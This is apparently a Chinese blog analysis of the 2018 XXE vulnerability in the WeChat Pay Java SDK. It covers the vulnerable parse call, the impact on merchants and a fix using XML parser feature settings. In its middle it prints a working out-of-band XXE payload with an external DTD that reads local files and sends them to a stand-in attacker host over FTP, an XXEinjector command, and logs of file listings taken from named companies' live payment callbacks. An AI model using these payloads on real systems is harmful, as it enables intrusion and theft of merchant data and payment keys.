2018年7月2日,Rose Jackcode在packetstormsecurity披露WeChat Pay SDK XXE Injection漏洞。该漏洞产生位置位于微信的XML处理功能函数,微信在JAVA版本的SDK中提供callback回调功能,用来帮助商家接收异步付款结果。该接口主体为提供了webservice接口服务,并且接受XML格式的数据,攻击者可以构造恶意的回调数据(XML格式)来窃取商家服务器上的任何信息。
该漏洞可能导致商家服务器敏感信息(包括用户订单,用户私人数据等)泄露,甚至可以获取相关密钥数据(md5-key和merchant-id等)从而伪造支付数据包绕过付费环节。该批露文档中已经成功利用自动化工具读取了陌陌、vivo等互联网公司的数据信息。
安装包位置: https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip
漏洞位置在: java-sdk-v3/src/main/java/com/github/wxpay/sdk/WXPayUtil.java , 第42行:
这里很明显存在 xxe 漏洞,直接用 parse 解析传入的 xml 格式文本。
在 readme.md 文件中,明确说明了这个方法是要起到什么作用。
从功能来看,主要作用应该是用来接收支付结果,所以一旦攻击者获得了关键支付的安全密钥(md5-key和商家信息,将可以直接实现0元支付购买任何商品)。
当然不止是一个问题,从发现者的twitter来看,似乎还有个反序列化的问题。由于java的反序列化还不熟,回头出了新版本,对比一下补丁,再补吧,或者有大佬发现了,可以和我交流一下,邮箱联系啥联系都行,让我也学习学习。
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % attack SYSTEM "file:///etc/"> <!ENTITY % xxe SYSTEM "http://attacker:8080/shell/data.dtd";> %xxe; ]> data.dtd: <!ENTITY % shell "<!ENTITY % upload SYSTEM 'ftp://attack:33/%attack; '>"> %shell; %upload; or use XXEinjector tool 【https://github.com/enjoiz/XXEinjector】 ruby XXEinjector.rb --host=attacker --path=/etc --file=req.txt --ssl req.txt : POST merchant_notification_url HTTP/1.1 Host: merchant_notification_url_host User-Agent: curl/7.43.0 Accept: */* Content-Length: 57 Content-Type: application/x-www-form-urlencoded XXEINJECT
目前漏洞影响蛮大,最新版本仍然受影响,在github上找到部分之前的源代码,这个问题在2017年2月17日的时候就存在了,尚不清楚这个是不是腾讯官方sdk,但是腾讯的人应该跟进了。
从披露来看,披露者已经攻击了陌陌和vivo,并获取了一些信息。
attack: notify url: https://pay.immomo.com/weixin/notify cmd: /home/ result: logs zhang.jiax** zhang.shaol** zhang.xia**
attack: notify url: https://pay.immomo.com/weixin/notify cmd: /home/logs result: moa-service momotrace
attack: notify url: https://pay.vivo.com.cn/webpay/wechat/callback.oo cmd: /home/ result: tomcat attack: notify url: https://pay.vivo.com.cn/webpay/wechat/callback.oo cmd: /home/tomcat result: .bash_logout .bash_profile .bashrc logs
在/java-sdk-v3/src/main/java/com/github/wxpay/sdk/WXPayUtil.java, Line42之前添加如下Feature设置代码。(业务不影响的情况下选其一即可)
FEATURE = "http://apache.org/xml/features/disallow-doctype-decl"; dbf.setFeature(FEATURE, true); FEATURE = "http://xml.org/sax/features/external-general-entities"; dbf.setFeature(FEATURE, false); FEATURE = "http://xml.org/sax/features/external-parameter-entities"; dbf.setFeature(FEATURE, false); FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd"; dbf.setFeature(FEATURE, false); dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false);